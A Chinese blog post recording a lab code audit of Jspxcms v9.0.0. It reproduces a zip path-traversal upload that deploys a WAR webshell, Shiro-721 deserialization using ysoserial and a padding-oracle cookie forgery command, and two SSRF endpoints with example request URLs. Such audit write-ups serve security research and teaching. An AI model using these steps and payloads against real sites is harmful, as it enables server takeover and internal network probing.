Jspxcms v9.0.0代码审计

复现了jspxcms v9.0.0的文件上传、SSRF、Shiro反序列化漏洞,记录了其中发生的问题及解决方法

环境搭建这部分就不讲了,主要在tomcat上部署会遇到一些问题,文中也会给出解决方法

任意文件上传

登录后台(账号admin 密码空)

在文件上传处,可以上传zip压缩包,且上传的压缩包会自动解压

抓包查看接口地址,为/cmscp/core/web_file_2/zip_upload.do

全局搜索定位到

com/jspxcms/core/web/back/WebFileUploadsController.java下的

zipUpload方法

跟进zipUpload方法:

调用了AntZipUtils.unzip方法

unzip方法传入一个zip压缩包zipFile和一个要解压缩到的目录destDir

通过zip.getEntries遍历zip压缩包里的每个文件,获取它们的名字,并用new File直接和destDir进行拼接,然后向该拼接的文件里写入内容,由于它没有对压缩包里的文件名做过滤,因此我们可以通过路径穿越,上传到webapps目录下

然而默认情况下压缩包里不能包含特殊符号’/’,因此这里用到py脚本:

运行py脚本得到的zip压缩包里的文件名即为”../../1.jsp”

打断点调试:

可以看到在webapps目录下生成了1.jsp文件,说明文件上传成功

然而直接去访问该文件,发现返回404

看到它在访问路径前加了/jsp

通过调试发现com/jspxcms/common/web/JspDispatcherFilter.java

设置了一条Filter,会对访问的 jsp 文件路径前加 /jsp,因此直接上传包含jsp的压缩包无法getshell

解决方法:

tomcat会自动将放在webapps目录下的WAR包解压并部署该应用程序。如果Tomcat正在运行,它会立即加载新部署的应用程序

而由于部署的是另一个应用程序,跟jspxcms项目是独立的,因此JspDispatcherFilter并不会过滤新部署的应用程序,因此我们可以上传zip里文件为war的压缩包

war包生成命令:

jar -cvf 1.war 1.jsp

将jsp文件打包成war

再压缩成zip文件

这里需要tomcat下运行项目才能复现

tomcat部署的时候报错

于是在IDEA中重新打包,发现也报错

查询原因,缺少了相关依赖,在pom.xml中添加:

再次打包得到的war文件放到tomcat的webapps下,运行tomcat会自动解压部署该应用程序

访问http://127.0.0.1:8080/jspxcms-9.0.0/cmscp/index.do

上传一个正常的ZIP,发现解压后的文件路径为:webapps/jspxcms-9.0.0/uploads/1

如果需要传到webapps目录下,需要路径穿越3级目录

修改py脚本:

将得到的test.zip文件上传,可以看到在webapps目录下上传了war文件,并且自动解压部署了应用程序

访问http://127.0.0.1:8080/1/1.jsp

Shiro反序列化

查看pom文件,发现使用了shiro框架,且版本为1.3.2

Shiro 并且版本小于 1.4.2,可以利用 Shiro-721

ysoserial 中 CommonsBeanutils1 的利用链需要 Commons-beanutils, Commons-collections 以及 Commons-logging

而这三个在jspxcms中都存在,但是版本不同

先直接尝试看看能否运行

java -jar ysoserial-all.jar CommonsBeanutils1 "calc.exe" > test.ser

在jspxcms项目中进行测试,发现弹窗了,说明该链可用

用shiro反序列化漏洞的利用工具(https://github.com/inspiringz/Shiro-721)进行测试

使用方法:

  1.登录网站(勾选自动登录),并从Cookie中获取合法的RememberMe

  2.使用Java反序列化工具 ysoserial 生成 Payload:

java -jar ysoserial-all.jar CommonsBeanutils1 "calc.exe" > payload.class

  3.通过 Padding Oracle Attack 生成 Evil Rememberme cookie:

python shiro_exp.py <url> <somecookie value> <payload>

这一步运行报错了:

RuntimeError: Could not decrypt byte 15 in bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') within maximum allotted retries (3)

解决:

找到paddingoracle.py源码,修改最大尝试次数:

再运行:跑了好几个小时得到cookie

  4.使用Evil Rememberme cookie 认证进行反序列化攻击

Cookie字段只保留rememberMe

ssrf-1

全局搜索关键字openConnection

发现有几处使用了 openConnection,经过追踪分析发现 UploadControllerAbstract#ueditorCatchImage() 方法下存在漏洞点

src参数是用户可控的,且没有进行过滤。控制参数 source[],即可实现资源请求操作,进而造成 SSRF 漏洞。

向上追踪,看看哪里调用了ueditorCatchImage

有两处调用了该方法

这里查看

src/main/java/com/jspxcms/core/web/back/UploadController.java

可以得知当传参action=catchimage时,就会调用ueditorCatchImage方法

该接口地址:/core/ueditor.do

传参action=catchimage&source[]=https://www.baidu.com

如果页面存在,会返回SUCCESS

http://localhost:8080/cmscp/core/ueditor.do?action=catchimage&source[]=http://127.0.0.1:8080

不存在会报错

dnslog:

http://localhost:8080/cmscp/core/ueditor.do?action=catchimage&source[]=http://jzm373.dnslog.cn

ssrf-2

全局搜索关键字HttpClient.execute

发现有几处使用了 ,经过追踪分析发现

CollectController#fetchUrl -> Collect#fetchHtml 方法下存在漏洞点

通过给fetchHtml方法传uri参数,并对uri进行httpclient连接

如果uri参数用户可控,即可造成ssrf漏洞

向上追踪

发现CollectController#fetchUrl 方法的uri参数可控

接口地址:/ext/collect/fetch_url.do

参数url

http://localhost:8080/cmscp/ext/collect/fetch_url.do?url=https://www.baidu.com

参考链接:

https://xz.aliyun.com/t/10891

https://www.cnblogs.com/yokan/p/16248509.html

posted @ 2024-07-04 16:32  kakeruj  阅读(622)  评论(0)    收藏  举报